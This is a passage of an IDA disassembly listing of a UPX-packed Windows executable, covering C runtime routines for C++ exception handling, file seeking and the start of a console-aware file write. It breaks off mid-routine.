arg_C		= dword	ptr  14h

		push	8
		push	offset dword_426B58
		call	__SEH_prolog4
		mov	eax, [ebp+arg_8]
		test	dword ptr [eax], 80000000h
		jz	short loc_410844
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41084E
; ---------------------------------------------------------------------------


loc_410844:				; CODE XREF: sub_410828+15j
		mov	ecx, [eax+8]
		mov	edx, [ebp+arg_4]
		lea	ebx, [ecx+edx+0Ch]


loc_41084E:				; CODE XREF: sub_410828+1Aj
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_C]
		push	esi
		push	eax
		push	[ebp+arg_4]
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_4106A9
		add	esp, 10h
		dec	eax
		jz	short loc_410888
		dec	eax
		jnz	short loc_4108A0
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+18h]
		call	sub_410420
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	ebx
		call	sub_40C0B9
		jmp	short loc_4108A0
; ---------------------------------------------------------------------------


loc_410888:				; CODE XREF: sub_410828+3Fj
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+18h]
		call	sub_410420
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	ebx
		call	sub_40C0B9


loc_4108A0:				; CODE XREF: sub_410828+42j
					; sub_410828+5Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	__SEH_epilog4
		retn
sub_410828	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		call	sub_40E02B
		int	3		; Trap to Debugger

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4108BA	proc near		; CODE XREF: sub_410928+D6p
					; sub_410A1C+24Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_10], 0
		jz	short loc_4108D5
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	[ebp+arg_0]
		call	sub_410828
		add	esp, 10h


loc_4108D5:				; CODE XREF: sub_4108BA+9j
		cmp	[ebp+arg_18], 0
		push	[ebp+arg_0]
		jnz	short loc_4108E1
		push	esi
		jmp	short loc_4108E4
; ---------------------------------------------------------------------------


loc_4108E1:				; CODE XREF: sub_4108BA+22j
		push	[ebp+arg_18]


loc_4108E4:				; CODE XREF: sub_4108BA+25j
		call	sub_40C0C0
		push	dword ptr [edi]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		call	sub_4102A5
		mov	eax, [edi+4]
		push	100h
		push	[ebp+arg_14]
		inc	eax
		push	[ebp+arg_C]
		mov	[esi+8], eax
		push	[ebp+arg_4]
		mov	ecx, [ebx+0Ch]
		push	esi
		push	[ebp+arg_0]
		call	sub_41050D
		add	esp, 28h
		test	eax, eax
		jz	short loc_410926
		push	esi
		push	eax
		call	sub_40C087


loc_410926:				; CODE XREF: sub_4108BA+63j
		pop	ebp
		retn
sub_4108BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410928	proc near		; CODE XREF: sub_410A1C+327p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi], 80000003h
		jz	loc_410A19
		push	edi
		call	sub_40E38F
		cmp	dword ptr [eax+80h], 0
		jz	short loc_41098D
		call	sub_40E38F
		lea	edi, [eax+80h]
		call	sub_40E13A
		cmp	[edi], eax
		jz	short loc_41098D
		cmp	dword ptr [esi], 0E0434F4Dh
		jz	short loc_41098D
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_40C17D
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_410A18


loc_41098D:				; CODE XREF: sub_410928+24j
					; sub_410928+38j ...
		mov	edi, [ebp+arg_10]
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41099B
		call	sub_40E077


loc_41099B:				; CODE XREF: sub_410928+6Cj
		mov	esi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_40C2F3
		mov	edi, eax
		mov	eax, [ebp+var_4]
		add	esp, 14h
		cmp	eax, [ebp+var_8]
		jnb	short loc_410A18
		push	ebx


loc_4109BE:				; CODE XREF: sub_410928+EDj
		cmp	esi, [edi]
		jl	short loc_410A09
		cmp	esi, [edi+4]
		jg	short loc_410A09
		mov	eax, [edi+0Ch]
		mov	ecx, [edi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_4109DF
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_410A09


loc_4109DF:				; CODE XREF: sub_410928+AFj
		lea	ebx, [eax-10h]
		test	byte ptr [ebx],	40h
		jnz	short loc_410A09
		push	[ebp+arg_1C]
		mov	esi, [ebp+arg_4]
		push	[ebp+arg_18]
		push	0
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_4108BA
		mov	esi, [ebp+arg_14]
		add	esp, 1Ch


loc_410A09:				; CODE XREF: sub_410928+98j
					; sub_410928+9Dj ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		add	edi, 14h
		cmp	eax, [ebp+var_8]
		jb	short loc_4109BE
		pop	ebx


loc_410A18:				; CODE XREF: sub_410928+5Fj
					; sub_410928+93j
		pop	edi


loc_410A19:				; CODE XREF: sub_410928+11j
		pop	esi
		leave
		retn
sub_410928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A1C	proc near		; CODE XREF: sub_410D80+D6p

var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_10]
		mov	eax, [ebx+4]
		cmp	eax, 80h
		push	esi
		push	edi
		mov	[ebp+var_1], 0
		jg	short loc_410A41
		movsx	ecx, byte ptr [ecx+8]
		jmp	short loc_410A44
; ---------------------------------------------------------------------------


loc_410A41:				; CODE XREF: sub_410A1C+1Dj
		mov	ecx, [ecx+8]


loc_410A44:				; CODE XREF: sub_410A1C+23j
		cmp	ecx, 0FFFFFFFFh
		mov	[ebp+var_8], ecx
		jl	short loc_410A50
		cmp	ecx, eax
		jl	short loc_410A55


loc_410A50:				; CODE XREF: sub_410A1C+2Ej
		call	sub_40E077


loc_410A55:				; CODE XREF: sub_410A1C+32j
		mov	esi, [ebp+arg_0]
		mov	edi, 0E06D7363h
		cmp	[esi], edi
		jnz	loc_410D1F
		cmp	dword ptr [esi+10h], 3
		mov	ebx, 19930520h
		jnz	loc_410B8C
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_410A8D
		cmp	eax, 19930521h
		jz	short loc_410A8D
		cmp	eax, 19930522h
		jnz	loc_410B8C


loc_410A8D:				; CODE XREF: sub_410A1C+5Dj
					; sub_410A1C+64j
		cmp	dword ptr [esi+1Ch], 0
		jnz	loc_410B8C
		call	sub_40E38F
		cmp	dword ptr [eax+88h], 0
		jz	loc_410D5E
		call	sub_40E38F
		mov	esi, [eax+88h]
		mov	[ebp+arg_0], esi
		call	sub_40E38F
		mov	eax, [eax+8Ch]
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		call	sub_414737
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410AD8
		call	sub_40E077


loc_410AD8:				; CODE XREF: sub_410A1C+B5j
		cmp	[esi], edi
		jnz	short loc_410B02
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_410B02
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_410AF7
		cmp	eax, 19930521h
		jz	short loc_410AF7
		cmp	eax, 19930522h
		jnz	short loc_410B02


loc_410AF7:				; CODE XREF: sub_410A1C+CBj
					; sub_410A1C+D2j
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_410B02
		call	sub_40E077


loc_410B02:				; CODE XREF: sub_410A1C+BEj
					; sub_410A1C+C4j ...
		call	sub_40E38F
		cmp	dword ptr [eax+94h], 0
		jz	short loc_410B8C
		call	sub_40E38F
		mov	edi, [eax+94h]
		call	sub_40E38F
		push	[ebp+arg_0]
		xor	esi, esi
		mov	[eax+94h], esi
		call	sub_410449
		pop	ecx
		test	al, al
		jnz	short loc_410B84
		xor	ebx, ebx
		cmp	[edi], ebx
		jle	short loc_410B58


loc_410B3B:				; CODE XREF: sub_410A1C+13Aj
		mov	eax, [edi+4]
		mov	ecx, [ebx+eax+4]
		push	offset off_42A424
		call	sub_40B424
		test	al, al
		jnz	short loc_410B5D
		inc	esi
		add	ebx, 10h
		cmp	esi, [edi]
		jl	short loc_410B3B


loc_410B58:				; CODE XREF: sub_410A1C+11Dj
					; sub_410A1C+30Dj
		call	sub_40E02B


loc_410B5D:				; CODE XREF: sub_410A1C+132j
		push	1
		push	[ebp+arg_0]
		call	sub_4103CB
		pop	ecx
		pop	ecx
		push	offset dword_41DCB0
		lea	ecx, [ebp+var_2C]
		call	sub_4101AD
		push	offset dword_426B74
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_40C03B


loc_410B84:				; CODE XREF: sub_410A1C+117j
		mov	esi, [ebp+arg_0]
		mov	edi, 0E06D7363h


loc_410B8C:				; CODE XREF: sub_410A1C+52j
					; sub_410A1C+6Bj ...
		cmp	[esi], edi
		jnz	loc_410D1C
		cmp	dword ptr [esi+10h], 3
		jnz	loc_410D1C
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_410BB7
		cmp	eax, 19930521h
		jz	short loc_410BB7
		cmp	eax, 19930522h
		jnz	loc_410D1C


loc_410BB7:				; CODE XREF: sub_410A1C+187j
					; sub_410A1C+18Ej
		mov	edi, [ebp+arg_10]
		cmp	dword ptr [edi+0Ch], 0
		jbe	loc_410C83
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_8]
		push	[ebp+arg_18]
		push	edi
		call	sub_40C2F3
		add	esp, 14h
		mov	edi, eax


loc_410BDD:				; CODE XREF: sub_410A1C+25Fj
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_1C]
		jnb	loc_410C80
		mov	eax, [ebp+var_8]
		cmp	[edi], eax
		jg	loc_410C75
		cmp	eax, [edi+4]
		jg	short loc_410C75
		mov	eax, [edi+10h]
		mov	[ebp+var_C], eax
		mov	eax, [edi+0Ch]
		mov	[ebp+var_18], eax
		test	eax, eax
		jle	short loc_410C75


loc_410C09:				; CODE XREF: sub_410A1C+22Dj
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	ebx, [eax+4]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		test	eax, eax
		jle	short loc_410C3E


loc_410C1B:				; CODE XREF: sub_410A1C+220j
		push	dword ptr [esi+1Ch]
		mov	eax, [ebx]
		push	eax
		push	[ebp+var_C]
		mov	[ebp+var_20], eax
		call	sub_4101FD
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_410C4D
		dec	[ebp+var_14]
		add	ebx, 4
		cmp	[ebp+var_14], eax
		jg	short loc_410C1B


loc_410C3E:				; CODE XREF: sub_410A1C+1FDj
		dec	[ebp+var_18]
		add	[ebp+var_C], 10h
		cmp	[ebp+var_18], 0
		jg	short loc_410C09
		jmp	short loc_410C75
; ---------------------------------------------------------------------------


loc_410C4D:				; CODE XREF: sub_410A1C+215j
		push	[ebp+arg_1C]
		mov	ebx, [ebp+var_C]
		push	[ebp+arg_18]
		mov	[ebp+var_1], 1
		push	[ebp+var_20]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		call	sub_4108BA
		mov	esi, [ebp+arg_0]
		add	esp, 1Ch


loc_410C75:				; CODE XREF: sub_410A1C+1D2j
					; sub_410A1C+1DBj ...
		inc	[ebp+var_10]
		add	edi, 14h
		jmp	loc_410BDD
; ---------------------------------------------------------------------------


loc_410C80:				; CODE XREF: sub_410A1C+1C7j
		mov	edi, [ebp+arg_10]


loc_410C83:				; CODE XREF: sub_410A1C+1A2j
		cmp	[ebp+arg_14], 0
		jz	short loc_410C93
		push	1
		push	esi
		call	sub_4103CB
		pop	ecx
		pop	ecx


loc_410C93:				; CODE XREF: sub_410A1C+26Bj
		cmp	[ebp+var_1], 0
		jnz	loc_410D4B
		mov	eax, [edi]
		and	eax, 1FFFFFFFh
		cmp	eax, 19930521h
		jb	loc_410D4B
		mov	edi, [edi+1Ch]
		test	edi, edi
		jz	loc_410D4B
		push	esi
		call	sub_410449
		pop	ecx
		test	al, al
		jnz	loc_410D4B
		call	sub_40E38F
		call	sub_40E38F
		call	sub_40E38F
		mov	[eax+88h], esi
		call	sub_40E38F
		cmp	[ebp+arg_1C], 0
		mov	ecx, [ebp+arg_8]
		mov	[eax+8Ch], ecx
		push	esi
		jnz	short loc_410CF8
		push	[ebp+arg_4]
		jmp	short loc_410CFB
; ---------------------------------------------------------------------------


loc_410CF8:				; CODE XREF: sub_410A1C+2D5j
		push	[ebp+arg_1C]


loc_410CFB:				; CODE XREF: sub_410A1C+2DAj
		call	sub_40C0C0
		mov	esi, [ebp+arg_10]
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4102A5
		add	esp, 10h
		push	dword ptr [esi+1Ch]
		call	sub_4104C4


loc_410D1C:				; CODE XREF: sub_410A1C+172j
					; sub_410A1C+17Cj ...
		mov	ebx, [ebp+arg_10]


loc_410D1F:				; CODE XREF: sub_410A1C+43j
		cmp	dword ptr [ebx+0Ch], 0
		jbe	short loc_410D4B
		cmp	[ebp+arg_14], 0
		jnz	loc_410B58
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_8]
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_410928
		add	esp, 20h


loc_410D4B:				; CODE XREF: sub_410A1C+27Bj
					; sub_410A1C+28Dj ...
		call	sub_40E38F
		cmp	dword ptr [eax+94h], 0
		jz	short loc_410D5E
		call	sub_40E077


loc_410D5E:				; CODE XREF: sub_410A1C+87j
					; sub_410A1C+33Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410A1C	endp

; ---------------------------------------------------------------------------
		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		push	dword ptr [ebp+8]
		mov	esi, ecx
		call	sub_40AD27
		mov	dword ptr [esi], offset	off_41DCA8
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410D80	proc near		; CODE XREF: UPX0:0040C135p
					; sub_40C14A+28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_40E38F
		cmp	dword ptr [eax+20Ch], 0
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_0]
		mov	edi, 0E06D7363h
		mov	esi, 1FFFFFFFh
		mov	ebx, 19930522h
		jnz	short loc_410DCB
		mov	edx, [ecx]
		cmp	edx, edi
		jz	short loc_410DCB
		cmp	edx, 80000026h
		jz	short loc_410DCB
		mov	edx, [eax]
		and	edx, esi
		cmp	edx, ebx
		jb	short loc_410DCB
		test	byte ptr [eax+20h], 1
		jnz	loc_410E5E


loc_410DCB:				; CODE XREF: sub_410D80+29j
					; sub_410D80+2Fj ...
		test	byte ptr [ecx+4], 66h
		jz	short loc_410DF4
		cmp	dword ptr [eax+4], 0
		jz	loc_410E5E
		cmp	[ebp+arg_14], 0
		jnz	short loc_410E5E
		push	0FFFFFFFFh
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4102A5
		add	esp, 10h
		jmp	short loc_410E5E
; ---------------------------------------------------------------------------


loc_410DF4:				; CODE XREF: sub_410D80+4Fj
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_410E0C
		mov	edx, [eax]
		and	edx, esi
		cmp	edx, 19930521h
		jb	short loc_410E5E
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_410E5E


loc_410E0C:				; CODE XREF: sub_410D80+78j
		cmp	[ecx], edi
		jnz	short loc_410E42
		cmp	dword ptr [ecx+10h], 3
		jb	short loc_410E42
		cmp	[ecx+14h], ebx
		jbe	short loc_410E42
		mov	edx, [ecx+1Ch]
		mov	edx, [edx+8]
		test	edx, edx
		jz	short loc_410E42
		movzx	esi, byte ptr [ebp+arg_1C]
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ecx
		call	edx
		add	esp, 20h
		jmp	short loc_410E61
; ---------------------------------------------------------------------------


loc_410E42:				; CODE XREF: sub_410D80+8Ej
					; sub_410D80+94j ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ecx
		call	sub_410A1C
		add	esp, 20h


loc_410E5E:				; CODE XREF: sub_410D80+45j
					; sub_410D80+55j ...
		xor	eax, eax
		inc	eax


loc_410E61:				; CODE XREF: sub_410D80+C0j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410D80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E70	proc near		; CODE XREF: sub_40C40D+4Cp
					; sub_4102A5+77p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41470C
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_410EAF
		mov	ecx, 2


loc_410EAF:				; CODE XREF: sub_410E70+38j
		push	ecx
		call	sub_41470C
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_410E70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410EBC	proc near		; CODE XREF: sub_410F41+CDp
					; sub_41105A+DFp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		call	sub_4147CF
		or	edi, 0FFFFFFFFh
		pop	ecx
		cmp	eax, edi
		jnz	short loc_410EF3
		call	sub_40C862
		mov	dword ptr [eax], 9


loc_410EED:				; CODE XREF: sub_410EBC+60j
		mov	eax, edi
		mov	edx, edi
		jmp	short loc_410F3D
; ---------------------------------------------------------------------------


loc_410EF3:				; CODE XREF: sub_410EBC+24j
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	[ebp+var_8]
		push	eax
		call	dword_41D144	; SetFilePointer
		mov	[ebp+var_8], eax
		cmp	eax, edi
		jnz	short loc_410F1E
		call	dword_41D1D8	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_410F1E
		push	eax
		call	sub_40C888
		pop	ecx
		jmp	short loc_410EED
; ---------------------------------------------------------------------------


loc_410F1E:				; CODE XREF: sub_410EBC+4Dj
					; sub_410EBC+57j
		mov	eax, esi
		sar	eax, 5
		mov	eax, dword_430160[eax*4]
		and	esi, 1Fh
		shl	esi, 6
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FDh
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]


loc_410F3D:				; CODE XREF: sub_410EBC+35j
		pop	edi
		pop	esi
		leave
		retn
sub_410EBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F41	proc near		; CODE XREF: sub_40C635+11Ap
					; sub_4154F0+121p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	14h
		push	offset dword_426BB0
		call	__SEH_prolog4
		or	esi, 0FFFFFFFFh
		mov	[ebp+var_24], esi
		mov	[ebp+var_20], esi
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_410F7A
		call	sub_40C875
		and	dword ptr [eax], 0
		call	sub_40C862
		mov	dword ptr [eax], 9


loc_410F71:				; CODE XREF: sub_410F41+66j
		mov	eax, esi
		mov	edx, esi
		jmp	loc_41104A
; ---------------------------------------------------------------------------


loc_410F7A:				; CODE XREF: sub_410F41+1Bj
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_410F88
		cmp	eax, dword_430148
		jb	short loc_410FA9


loc_410F88:				; CODE XREF: sub_410F41+3Dj
		call	sub_40C875
		mov	[eax], edi
		call	sub_40C862
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40B255
		add	esp, 14h
		jmp	short loc_410F71
; ---------------------------------------------------------------------------


loc_410FA9:				; CODE XREF: sub_410F41+45j
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:430160h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		shl	esi, 6
		mov	ecx, [ebx]
		movsx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jnz	short loc_410FEF
		call	sub_40C875
		mov	[eax], edi
		call	sub_40C862
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40B255
		add	esp, 14h
		or	edx, 0FFFFFFFFh
		mov	eax, edx
		jmp	short loc_41104A
; ---------------------------------------------------------------------------


loc_410FEF:				; CODE XREF: sub_410F41+86j
		push	eax
		call	sub_414846
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41101E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_410EBC
		add	esp, 10h
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], edx
		jmp	short loc_411038
; ---------------------------------------------------------------------------


loc_41101E:				; CODE XREF: sub_410F41+BFj
		call	sub_40C862
		mov	dword ptr [eax], 9
		call	sub_40C875
		mov	[eax], edi
		or	[ebp+var_24], 0FFFFFFFFh
		or	[ebp+var_20], 0FFFFFFFFh


loc_411038:				; CODE XREF: sub_410F41+DBj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_411050
		mov	eax, [ebp+var_24]
		mov	edx, [ebp+var_20]


loc_41104A:				; CODE XREF: sub_410F41+34j
					; sub_410F41+ACj
		call	__SEH_epilog4
		retn
sub_410F41	endp


; =============== S U B	R O U T	I N E =======================================



sub_411050	proc near		; CODE XREF: sub_410F41+FEp
					; DATA XREF: UPX0:00426BC8o
		push	dword ptr [ebp+8]
		call	sub_4148E6
		pop	ecx
		retn
sub_411050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41105A	proc near		; CODE XREF: sub_41178D+9Ap

var_1AE4	= dword	ptr -1AE4h
var_1AE0	= dword	ptr -1AE0h
var_1AD9	= byte ptr -1AD9h
var_1AD8	= dword	ptr -1AD8h
var_1AD4	= dword	ptr -1AD4h
var_1AD0	= dword	ptr -1AD0h
var_1ACC	= dword	ptr -1ACCh
var_1AC8	= dword	ptr -1AC8h
var_1AC4	= dword	ptr -1AC4h
var_1AC0	= dword	ptr -1AC0h
var_1ABC	= dword	ptr -1ABCh
var_1AB8	= byte ptr -1AB8h
var_1410	= byte ptr -1410h
var_6B8		= byte ptr -6B8h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, 1AE4h
		call	sub_40E000
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		push	esi
		xor	esi, esi
		mov	[ebp+var_1ACC],	eax
		mov	[ebp+var_1AC8],	esi
		mov	[ebp+var_1AD0],	esi
		cmp	[ebp+arg_8], esi
		jnz	short loc_411097
		xor	eax, eax
		jmp	loc_411780
; ---------------------------------------------------------------------------


loc_411097:				; CODE XREF: sub_41105A+34j
		cmp	eax, esi
		jnz	short loc_4110C2
		call	sub_40C875
		mov	[eax], esi
		call	sub_40C862
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_411780
; ---------------------------------------------------------------------------


loc_4110C2:				; CODE XREF: sub_41105A+3Fj
		push	ebx
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		sar	eax, 5
		lea	esi, ds:430160h[eax*4]
		mov	eax, [esi]
		and	edi, 1Fh
		shl	edi, 6
		add	eax, edi
		mov	bl, [eax+24h]
		add	bl, bl
		sar	bl, 1
		mov	[ebp+var_1AD8],	esi
		mov	[ebp+var_1AD9],	bl
		cmp	bl, 2
		jz	short loc_4110FA
		cmp	bl, 1
		jnz	short loc_41112A


loc_4110FA:				; CODE XREF: sub_41105A+99j
		mov	ecx, [ebp+arg_8]
		not	ecx
		test	cl, 1
		jnz	short loc_41112A
		call	sub_40C875
		xor	esi, esi
		mov	[eax], esi
		call	sub_40C862
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		jmp	loc_41176D
; ---------------------------------------------------------------------------


loc_41112A:				; CODE XREF: sub_41105A+9Ej
					; sub_41105A+A8j
		test	byte ptr [eax+4], 20h
		jz	short loc_411141
		push	2
		push	0
		push	0
		push	[ebp+arg_0]
		call	sub_410EBC
		add	esp, 10h


loc_411141:				; CODE XREF: sub_41105A+D4j
		push	[ebp+arg_0]
		call	sub_4118B2
		pop	ecx
		test	eax, eax
		jz	loc_4113EF
		mov	eax, [esi]
		test	byte ptr [edi+eax+4], 80h
		jz	loc_4113EF
		call	sub_40E38F
		mov	eax, [eax+6Ch]
		xor	ecx, ecx
		cmp	[eax+14h], ecx
		lea	eax, [ebp+var_1AE4]
		setz	cl
		push	eax
		mov	eax, [esi]
		push	dword ptr [edi+eax]
		mov	[ebp+var_1AE0],	ecx
		call	dword_41D13C	; GetConsoleMode
		test	eax, eax
		jz	loc_4113EF
		xor	ecx, ecx
		cmp	[ebp+var_1AE0],	ecx
		jz	short loc_4111A1
		test	bl, bl
		jz	loc_4113F1


loc_4111A1:				; CODE XREF: sub_41105A+13Dj
		call	dword_41D140	; GetConsoleCP
		mov	ebx, [ebp+var_1ACC]
		mov	[ebp+var_1AE4],	eax
		xor	eax, eax
		mov	[ebp+var_1AC4],	eax
		cmp	[ebp+arg_8], eax
		jbe	loc_411706
		mov	[ebp+var_1ABC],	eax


loc_4111CA:				; CODE XREF: sub_41105A+371j
		mov	al, [ebp+var_1AD9]
		test	al, al
		jnz	loc_41133F
		mov	cl, [ebx]
		mov	esi, [ebp+var_1AD8]
		xor	eax, eax
		cmp	cl, 0Ah
		setz	al
		mov	[ebp+var_1AE0],	eax
		mov	eax, [esi]
		add	eax, edi
